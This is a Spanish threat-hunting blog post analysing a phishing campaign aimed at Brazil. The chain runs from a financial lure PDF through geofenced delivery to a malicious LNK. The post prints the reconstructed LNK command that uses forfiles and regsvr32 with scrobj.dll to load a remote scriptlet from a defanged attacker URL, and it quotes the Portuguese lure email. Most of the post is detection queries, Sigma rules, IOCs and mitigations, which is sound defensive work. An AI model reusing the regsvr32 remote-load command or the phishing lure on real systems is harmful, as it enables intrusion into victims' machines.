PDF + Geofencing + LNK malicioso: análisis técnico de una campaña dirigida a Brasil

Durante una investigación reciente analizamos una cadena de ataque que combinaba tres elementos especialmente interesantes desde el punto de vista de threat hunting: PDF señuelo, geofencing y un acceso directo LNK malicioso.

El resultado operativo fue el esperado: la amenaza fue bloqueada y el cliente quedó protegido. Aun así, el caso merece un análisis técnico porque muestra cómo una campaña aparentemente sencilla puede incorporar entrega selectiva, abuso de binarios legítimos del sistema y técnicas básicas para dificultar el análisis.

Resumen de la cadena observada

El flujo de ataque reconstruido fue el siguiente:

Correo en portugués con temática financiera
    ↓
PDF señuelo con botón de “Visualizar Documento”
    ↓
Redirección a infraestructura externa
    ↓
Entrega condicionada del siguiente componente solo desde Brasil
    ↓
Ejecución de un acceso directo LNK con comandos ofuscados
    ↓
Uso de binarios legítimos de Windows
    ↓
Carga remota mediante regsvr32.exe y scrobj.dll

El correo utilizaba un pretexto financiero en portugués brasileño, simulando una comunicación relacionada con una nota o documento de transacción procesado correctamente. 

Message - Nota 142976 emitida com sucesso

O documento da transação foi processado e está acessível para você.

Visualize o anexo

Estamos prontos para ajudar,
Setor Financeiro.

Ultra Distribuidora
CNPJ: 11.466.862/2801-40 - Inscr. Estadual: 000144921720

El objetivo era inducir al usuario a abrir un supuesto documento financiero. Tras la interacción, se mostraba un PDF aparentemente protegido o parcialmente oculto, con un botón de “Visualizar Documento”.

Este tipo de señuelo busca trasladar la acción del usuario desde el correo hacia una segunda etapa alojada fuera del mensaje original, reduciendo la visibilidad inicial para algunas soluciones de seguridad de correo.

Geofencing: entrega condicionada por ubicación

Uno de los puntos más relevantes del caso fue el uso de geofencing.

Al analizar el enlace desde fuera de Brasil, el contenido activo no se entregaba. En su lugar, la navegación redirigía a un periódico brasileño. Este comportamiento puede confundir a los analistas y provocar falsos negativos durante el análisis.

Desde la perspectiva del atacante, esta técnica tiene varias ventajas:

  • Reduce la exposición del payload ante analistas externos.
  • Dificulta la reproducción del incidente desde otros países.
  • Puede evadir sandboxes ubicados fuera de la región objetivo.
  • Permite entregar contenido diferente según país, IP, idioma o entorno.
  • Hace que el enlace parezca benigno si se analiza desde una ubicación no esperada.

En este caso, el contexto regional era consistente:

  • Correo en portugués brasileño.
  • Uso de temática financiera.
  • Referencias a CNPJ e Inscrição Estadual.
  • Supuesta entidad brasileña.
  • Destinatario brasileño en el PDF señuelo.
  • Entrega activa únicamente desde Brasil.

La hipótesis más sólida es que la infraestructura del atacante validaba la procedencia de la conexión antes de entregar el siguiente componente. Esa validación podría basarse en geolocalización de IP, reputación del rango, idioma del navegador, zona horaria, cabeceras HTTP o una combinación de varios factores.

Infraestructura observada

En el análisis se observó como recurso inicial una URL alojada en Azure Blob Storage: 

hxxps://849460[.]blob[.]core[.]windows[.]net/7452/index[.]html

También se identificó una segunda URL utilizada en la cadena de ejecución remota: 

hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/

La primera infraestructura parece actuar como punto intermedio o recurso de entrega inicial. La segunda está asociada a la ejecución remota mediante regsvr32.exe.

El uso de servicios cloud legítimos en fases tempranas de la cadena no es casual. Este patrón permite aprovechar reputación, disponibilidad y confianza implícita de plataformas ampliamente utilizadas. Desde defensa, esto obliga a analizar el contexto completo y no únicamente la reputación genérica del dominio raíz.

Análisis del LNK malicioso

La parte más técnica de la cadena se encuentra en el acceso directo malicioso. El LNK ejecutaba una línea de comandos ofuscada mediante bucles, variables y caracteres de escape. El objetivo de esa ofuscación era ocultar una secuencia de ejecución basada en binarios legítimos de Windows.

La cadena final reconstruida era similar a: 

forfiles /p C:\Windows\System32 /m s?robj.dll /c "cmd /c C:\Windows\System32\regsvr32.exe -s -n -u -i:hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/ @path"

El patrón: 

s?robj.dll

resuelve a: 

scrobj.dll

Por tanto, la ejecución efectiva sería equivalente a: 

regsvr32.exe -s -n -u -i:hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/ C:\Windows\System32\scrobj.dll

Este comportamiento encaja con la técnica conocida como Squiblydoo, en la que regsvr32.exe es abusado para cargar un scriptlet remoto a través de scrobj.dll.

Componentes abusados

La cadena utilizaba componentes legítimos del sistema operativo: 

cmd.exe
forfiles.exe
regsvr32.exe
scrobj.dll
ping.exe

Por separado, estos elementos pueden aparecer en actividad legítima. El valor de detección está en la correlación.

cmd.exe

cmd.exe se utilizaba como intérprete para ejecutar la cadena ofuscada. Esto es habitual en accesos directos maliciosos porque permite construir comandos complejos directamente desde el campo de destino del LNK.

forfiles.exe

forfiles.exe se usaba para buscar scrobj.dll dentro de C:\Windows\System32 usando el patrón s?robj.dll.

Este uso es anómalo. forfiles.exe es una utilidad legítima, pero no es común verla como paso previo a una ejecución de regsvr32.exe con contenido remoto.

regsvr32.exe

regsvr32.exe era el componente clave. La ejecución con parámetros -s -n -u -i:<URL> permite cargar contenido remoto y procesarlo mediante scrobj.dll.

Parámetros relevantes:

Parámetro Descripción
-s Modo silencioso.
-n No llama a DllRegisterServer.
-u Modo unregister.
-i:<URL> Pasa una URL como parámetro de instalación.

El uso de regsvr32.exe con -i:http o -i:https es una señal de alta fidelidad en entornos corporativos.

scrobj.dll

scrobj.dll es una librería legítima de Windows relacionada con Windows Script Components. En esta cadena se usa como mecanismo para procesar contenido remoto compatible con scriptlets COM.

ping.exe

El análisis también mostró uso de ping contra 127.0.0.1 con redirección a nul: 

ping -n 4 127.0.0.1 >nul
ping -n 24 127.0.0.1 >nul
ping -n 5 127.0.0.1 >nul

Este patrón suele usarse como temporizador improvisado. No es malicioso por sí mismo, pero dentro de una cadena sospechosa puede indicar pausas artificiales entre etapas, sincronización de acciones o evasión básica de algunos entornos automatizados.

Cadena de procesos de interés

Desde threat hunting, una de las relaciones más importantes es: 

explorer.exe / navegador / cliente de correo
    → cmd.exe
        → forfiles.exe
            → regsvr32.exe
                → scrobj.dll

También puede observarse actividad auxiliar: 

cmd.exe
    → ping.exe 127.0.0.1

La detección no debe centrarse únicamente en la existencia de regsvr32.exe, sino en su contexto:

  • ¿Quién lo lanzó?
  • ¿Qué línea de comandos usó?
  • ¿Incluye una URL?
  • ¿Aparece después de abrir un correo, PDF o enlace?
  • ¿Está precedido por cmd.exe o forfiles.exe?
  • ¿Carga scrobj.dll?
  • ¿Hay conexiones de red asociadas?

Indicadores de compromiso

URLs

hxxps://849460[.]blob[.]core[.]windows[.]net/7452/index[.]html
hxxps://wxfmm[.]easynextmatrixbb[.]com/jwgevxfjjtho/828597302930264/

Dominios

849460[.]blob[.]core[.]windows[.]net
wxfmm[.]easynextmatrixbb[.]com

Hashes observados

MD5:    A1F1D3A3F9590A563B1446BC2E67DFF1
SHA1:   E51DCD2DD19344A6BD9C7CC0FDE0F2E9F8826AB5
SHA256: CE39F7F500CE8415AB48AE9E59F25D5C027AECB536D108F0D9EE7FBC202A42DF

Procesos

cmd.exe
forfiles.exe
regsvr32.exe
ping.exe
msedge.exe

DLL abusada

C:\Windows\System32\scrobj.dll

MITRE ATT&CK

Táctica Técnica ID Evidencia
Initial Access Phishing T1566 Correo con temática financiera.
Initial Access Spearphishing Link T1566.002 Documento con botón clicable.
Execution User Execution: Malicious File T1204.002 Interacción del usuario con PDF/LNK.
Execution Command and Scripting Interpreter: Windows Command Shell T1059.003 Uso de cmd.exe.
Defense Evasion Obfuscated Files or Information T1027 Comando ofuscado en LNK.
Defense Evasion System Binary Proxy Execution: Regsvr32 T1218.010 Abuso de regsvr32.exe.
Command and Control Web Protocols T1071.001 Uso de HTTPS.
Command and Control / Delivery Ingress Tool Transfer T1105 Carga remota de siguiente etapa.
Defense Evasion Virtualization/Sandbox Evasion T1497 Entrega condicionada por ubicación.
Defense Evasion Virtualization/Sandbox Evasion: System Checks T1497.001 Posibles comprobaciones de país, IP, idioma o entorno.

Consultas de threat hunting

Microsoft Defender Advanced Hunting: regsvr32 con carga remota

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "regsvr32.exe"
| where ProcessCommandLine has_any ("-i:http", "-i:https", "/i:http", "/i:https")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine, ReportId
| order by Timestamp desc

forfiles buscando scrobj.dll

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "forfiles.exe"
| where ProcessCommandLine has_any ("s?robj.dll", "scrobj.dll", "regsvr32")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine
| order by Timestamp desc

Cadena cmd → forfiles → regsvr32

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "regsvr32.exe"
| where InitiatingProcessFileName =~ "forfiles.exe"
   or InitiatingProcessCommandLine has "forfiles"
   or ProcessCommandLine has "scrobj.dll"
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine
| order by Timestamp desc

Uso de ping como temporizador

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName =~ "ping.exe"
| where ProcessCommandLine has "127.0.0.1"
| where ProcessCommandLine has_any (">nul", "> nul")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          ProcessCommandLine
| order by Timestamp desc

Procesos sospechosos lanzados desde navegador, correo o explorador

DeviceProcessEvents
| where Timestamp > ago(30d)
| where FileName in~ ("cmd.exe", "regsvr32.exe", "forfiles.exe", "powershell.exe", "wscript.exe", "cscript.exe")
| where InitiatingProcessFileName in~ ("explorer.exe", "msedge.exe", "chrome.exe", "firefox.exe", "outlook.exe")
| where ProcessCommandLine has_any ("regsvr32", "forfiles", "scrobj", "-i:http", "/i:http")
| project Timestamp, DeviceName, AccountName,
          InitiatingProcessFileName, InitiatingProcessCommandLine,
          FileName, ProcessCommandLine
| order by Timestamp desc

Hunting en correo

Buscar correos con patrones similares:

"Nota" AND "emitida com sucesso"
"O documento da transação foi processado"
"Visualize o anexo"
"Setor Financeiro"
"Ultra Distribuidora"
"CNPJ"
"Inscr. Estadual"

Microsoft Defender: eventos de correo

EmailEvents
| where Timestamp > ago(30d)
| where Subject has_any ("Nota", "emitida com sucesso", "Message - Nota")
   or EmailDirection == "Inbound"
| project Timestamp, NetworkMessageId, SenderFromAddress, SenderMailFromAddress,
          RecipientEmailAddress, Subject, DeliveryAction, ThreatTypes
| order by Timestamp desc

URLs en correos

EmailUrlInfo
| where Timestamp > ago(30d)
| where Url has_any (
    "blob.core.windows.net",
    "easynextmatrixbb.com",
    "849460.blob.core.windows.net"
)
| project Timestamp, NetworkMessageId, Url, UrlDomain
| order by Timestamp desc

Adjuntos sospechosos

EmailAttachmentInfo
| where Timestamp > ago(30d)
| where FileName endswith ".pdf"
   or FileName endswith ".lnk"
   or FileName endswith ".html"
| project Timestamp, NetworkMessageId, FileName, SHA256, FileSize
| order by Timestamp desc

Hunting en proxy, DNS y firewall

Búsqueda directa de dominios

SELECT
  timestamp,
  src_ip,
  user,
  url,
  domain,
  http_method,
  status_code,
  bytes_in,
  bytes_out,
  user_agent
FROM proxy_logs
WHERE
  domain IN (
    '849460.blob.core.windows.net',
    'wxfmm.easynextmatrixbb.com'
  )
  OR domain LIKE '%.easynextmatrixbb.com'
  OR url LIKE '%/7452/index.html%'
  OR url LIKE '%/jwgevxfjjtho/828597302930264/%'
ORDER BY timestamp DESC;

Comparativa por país para detectar geofencing

SELECT
  country,
  domain,
  status_code,
  COUNT(*) AS requests,
  SUM(bytes_in) AS total_bytes_in,
  AVG(bytes_in) AS avg_bytes_in
FROM proxy_logs
WHERE
  domain IN (
    '849460.blob.core.windows.net',
    'wxfmm.easynextmatrixbb.com'
  )
  OR domain LIKE '%.easynextmatrixbb.com'
GROUP BY country, domain, status_code
ORDER BY requests DESC;

Diferencias claras en códigos HTTP, tamaño de respuesta o redirecciones entre Brasil y otros países pueden reforzar la hipótesis de entrega condicionada por ubicación.

Reglas Sigma

Regsvr32 cargando contenido remoto

title: Regsvr32 Remote Scriptlet Execution
id: 5b0d7a6c-regsvr32-remote-scriptlet
status: experimental
description: Detecta abuso de regsvr32.exe para cargar scriptlets remotos mediante /i:http o -i:http.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\regsvr32.exe'
  selection_cli:
    CommandLine|contains:
      - '/i:http'
      - '/i:https'
      - '-i:http'
      - '-i:https'
  condition: selection_img and selection_cli
fields:
  - Image
  - CommandLine
  - ParentImage
  - ParentCommandLine
  - User
falsepositives:
  - Raros. Algunas pruebas administrativas o legacy COM podrían generar actividad similar, pero el uso con HTTP/HTTPS es altamente sospechoso.
level: high
tags:
  - attack.defense_evasion
  - attack.t1218.010

forfiles usado para localizar scrobj.dll

title: Forfiles Used To Locate Scrobj DLL
id: 6c1c1e38-forfiles-scrobj
status: experimental
description: Detecta uso sospechoso de forfiles.exe para localizar scrobj.dll y ejecutar comandos asociados.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\forfiles.exe'
  selection_cli:
    CommandLine|contains:
      - 's?robj.dll'
      - 'scrobj.dll'
      - 'regsvr32'
  condition: selection_img and selection_cli
fields:
  - Image
  - CommandLine
  - ParentImage
  - ParentCommandLine
  - User
falsepositives:
  - Muy bajos en entornos corporativos estándar.
level: high
tags:
  - attack.execution
  - attack.defense_evasion
  - attack.t1218.010

Ping contra loopback usado como retardo

title: Ping Loopback Sleep Pattern
id: 3dfd88f7-ping-loopback-delay
status: experimental
description: Detecta uso de ping a 127.0.0.1 con redirección a nul como mecanismo de espera.
logsource:
  product: windows
  category: process_creation
detection:
  selection_img:
    Image|endswith: '\ping.exe'
  selection_cli:
    CommandLine|contains|all:
      - '127.0.0.1'
      - '-n'
  selection_nul:
    CommandLine|contains:
      - '>nul'
      - '> nul'
  condition: selection_img and selection_cli and selection_nul
fields:
  - Image
  - CommandLine
  - ParentImage
  - ParentCommandLine
  - User
falsepositives:
  - Scripts administrativos antiguos.
level: medium
tags:
  - attack.defense_evasion

Recomendaciones defensivas

Las acciones recomendadas son:

  1. Bloquear los dominios e indicadores observados.
  2. Revisar accesos históricos a la infraestructura identificada.
  3. Buscar correos con la misma plantilla o asunto similar.
  4. Revisar eventos de proceso relacionados con regsvr32.exe, forfiles.exe y scrobj.dll.
  5. Correlacionar telemetría de correo, proxy, DNS, navegador y EDR.
  6. Validar si hubo ejecución posterior de payloads o persistencia.
  7. Revisar tareas programadas, claves Run, carpeta Startup y WMI.
  8. Repetir el análisis desde diferentes ubicaciones controladas para confirmar geofencing.

En controles preventivos, es recomendable alertar o bloquear el uso de:

  • regsvr32.exe con -i:http o -i:https.
  • regsvr32.exe cargando scrobj.dll desde una URL.
  • forfiles.exe invocando regsvr32.exe.
  • Procesos de scripting iniciados desde documentos, navegadores o clientes de correo.

Conclusión

Esta campaña demuestra cómo una cadena relativamente corta puede ser eficaz si combina varios elementos:

  • Señuelo financiero localizado.
  • PDF con interacción del usuario.
  • Infraestructura cloud legítima.
  • Entrega condicionada por geografía.
  • LNK con comandos ofuscados.
  • Abuso de binarios nativos de Windows.
  • Carga remota mediante regsvr32.exe y scrobj.dll.

La lección principal es que no basta con analizar un enlace desde una única ubicación. En campañas con geofencing, la ausencia de comportamiento observable no implica necesariamente que el enlace sea benigno. Puede significar simplemente que el análisis se está realizando desde un entorno que no cumple las condiciones esperadas por el atacante.

Desde threat hunting, el valor está en unir las piezas: correo, PDF, redirección, país de origen, proceso padre, línea de comandos, conexión remota y comportamiento posterior. Solo con esa correlación es posible reconstruir la cadena completa y reducir el riesgo de falsos negativos.

Comentarios

Publicar un comentario

Entradas populares